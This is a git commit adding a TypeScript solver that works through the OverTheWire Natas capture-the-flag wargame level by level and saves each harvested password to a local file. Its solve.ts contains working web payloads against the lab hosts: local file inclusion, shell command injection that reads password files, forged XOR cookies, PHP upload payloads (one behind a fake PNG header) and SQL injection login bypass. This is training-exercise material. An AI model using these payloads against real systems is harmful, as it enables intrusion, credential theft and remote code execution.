This commit is contained in:
Michael Zhang 2023-10-05 00:39:07 -05:00
commit ed8bf400d1
7 changed files with 352 additions and 0 deletions

2
.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
node_modules
passwords.json

BIN
bun.lockb Executable file

Binary file not shown.

55
index.ts Normal file
View file

@ -0,0 +1,55 @@
import solve from "./solve";
import { getPasswordFor, savePassword } from "./util";
async function main() {
let prevPassword = "natas0";
for (let i = 0; ; i++) {
console.log(`Solving level ${i}`);
const savedPassword = await getPasswordFor(i);
if (savedPassword) {
console.log("saved");
prevPassword = savedPassword;
continue;
}
const user = `natas${i}`;
const fetchReplacement = async (url: string, init?: RequestInit) => {
const newUrl = new URL(
url,
`http://natas${i}.natas.labs.overthewire.org/`
);
const headers = new Headers(init?.headers);
const authorization = btoa(`${user}:${prevPassword}`);
headers.set("Authorization", `Basic ${authorization}`);
const newInit = { ...init, headers };
console.log(newUrl, user, prevPassword, newInit);
return await fetch(newUrl, newInit);
};
const solveFn = solve[i];
if (!solveFn) throw new Error(`No solution for natas${i} yet.`);
try {
const password = await solveFn({
username: user,
prevPassword,
fetch: fetchReplacement,
});
if (typeof password !== "string") throw new Error("non-string output");
prevPassword = password;
savePassword(i, password);
} catch (e) {
console.log("sad");
console.trace(e);
break;
}
}
}
main();

5
package.json Normal file
View file

@ -0,0 +1,5 @@
{
"devDependencies": {
"bun-types": "^1.0.4-canary.20231004T140131"
}
}

209
solve.ts Normal file
View file

@ -0,0 +1,209 @@
import { bytes2str, determinePeriod, hex2bin, xor } from "./util";
const solves: SolveFn[] = [
async ({ fetch }) => {
const result = await fetch("/");
const text = await result.text();
const match = text.match(/The password for natas1 is ([^ ]+)/);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/");
const text = await result.text();
const match = text.match(/The password for natas2 is ([^ ]+)/);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/files/users.txt");
const text = await result.text();
const match = text.match(/^natas3:([^\s]+)$/m);
return match[1];
},
async ({ fetch }) => {
// Discover this URL through /robots.txt
const result = await fetch("/s3cr3t/users.txt");
const text = await result.text();
const match = text.match(/^natas4:([^\s]+)$/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/", {
headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
});
const text = await result.text();
const match = text.match(/The password for natas5 is ([^\s]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/", {
headers: { cookie: "loggedin=1" },
});
const text = await result.text();
const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/includes/secret.inc");
const text = await result.text();
const secret = text.match(/\$secret = "([^"]+)"/);
const params = new URLSearchParams([
["secret", secret[1]],
["submit", "Submit+Query"],
]);
const result2 = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text2 = await result2.text();
const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
// Local file inclusion
const result = await fetch(
"/index.php?page=../../../../../etc/natas_webpass/natas8"
);
const text = await result.text();
const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
return match[1];
},
async ({ fetch }) => {
const encodedSecret = "3d3d516343746d4d6d6c315669563362";
let secret: any = hex2bin(encodedSecret);
secret.reverse();
secret = bytes2str(secret);
secret = atob(secret);
const params = new URLSearchParams([
["secret", secret],
["submit", "Submit+Query"],
]);
const result = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text = await result.text();
const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch(
"/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
);
const text = await result.text();
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch(
"/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
);
const text = await result.text();
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/");
const originalCiphertext = atob(
decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
);
const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
const fullKey = xor(originalCiphertext, originalPlaintext);
const key = fullKey.slice(0, determinePeriod(fullKey));
const data = { showpassword: "yes", bgcolor: "#ffffff" };
const encrypted = encodeURIComponent(
btoa(bytes2str(xor(JSON.stringify(data), key)))
);
const result2 = await fetch("/", {
headers: { cookie: `data=${encrypted}` },
});
const text = await result2.text();
const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const data = new FormData();
data.append("filename", "index.php");
const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
data.append("uploadedfile", new Blob([payload]), "index.php");
const uploadResult = await fetch("/", {
method: "POST",
body: data,
});
const text = await uploadResult.text();
const urlMatch = text.match(/The file <a href="([^"]+)">/);
const url = urlMatch[1];
const fileResult = await fetch(url);
return (await fileResult.text()).trim();
},
async ({ fetch }) => {
const data = new FormData();
data.append("filename", "index.php");
// From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
data.append("uploadedfile", new Blob([header, payload]), "index.png");
const uploadResult = await fetch("/", {
method: "POST",
body: data,
});
const text = await uploadResult.text();
console.log("result!", text);
const urlMatch = text.match(/The file <a href="([^"]+)">/);
const url = urlMatch[1];
const fileResult = await fetch(url);
const text2 = await fileResult.text();
const match = text2.match(/\(([^\)]+)\)/);
return match[1].trim();
},
async ({ fetch }) => {
const params = new URLSearchParams([
["username", `" or 1=1 or "`],
["password", ""],
]);
const result = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text = await result.text();
const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
return match[1];
},
];
export default solves;
interface SolveFn {
(props: SolveFnProps): string | Promise<string>;
}
interface SolveFnProps {
username: string;
prevPassword: string;
fetch: (url: string, init?: RequestInit) => Promise<Response>;
}

5
tsconfig.json Normal file
View file

@ -0,0 +1,5 @@
{
"compilerOptions": {
"types": ["bun-types"]
}
}

76
util.ts Normal file
View file

@ -0,0 +1,76 @@
import { createWriteStream } from "node:fs";
const fileName = "./passwords.json";
export async function getPasswordFor(level: number): Promise<string | null> {
try {
const file = Bun.file(fileName);
const data = await file.json();
return data[`natas${level}`];
} catch (e) {
return null;
}
}
export async function savePassword(
level: number,
password: string
): Promise<void> {
let data = {};
try {
const file = Bun.file(fileName);
data = await file.json();
} catch (e) {}
data[`natas${level}`] = password;
createWriteStream(fileName).end();
await Bun.write(fileName, JSON.stringify(data, null, 2));
}
export function hex2bin(hex: string): number[] {
const buf = [];
for (let i = 0; i < hex.length; i += 2) {
const byte = hex.slice(i, i + 2);
buf.push(parseInt(byte, 16));
}
return buf;
}
export function bytes2str(bytes: number[]): string {
return bytes.map((c) => String.fromCharCode(c)).join("");
}
export function xor(str: string, key: string | number[]): number[] {
const result = [];
str.split("").forEach((c, idx) => {
const pIdx = idx % key.length;
let c2;
if (typeof key === "string") c2 = key.charCodeAt(pIdx);
else c2 = key[pIdx];
result.push(c.charCodeAt(0) ^ c2);
});
return result;
}
export function determinePeriod(
arr: number[],
threshold: number = 1,
limit: number = 50
): number {
let period = 1;
let lowest = null;
while (period < limit) {
let sum = 0;
for (let i = period; i < arr.length; i++) {
sum += arr[i] ^ arr[i - period];
}
console.log(period, sum);
if (sum === 0) return period;
if (lowest === null || sum < lowest[0]) lowest = [sum, period];
period += 1;
}
if (lowest <= threshold) return lowest[1];
}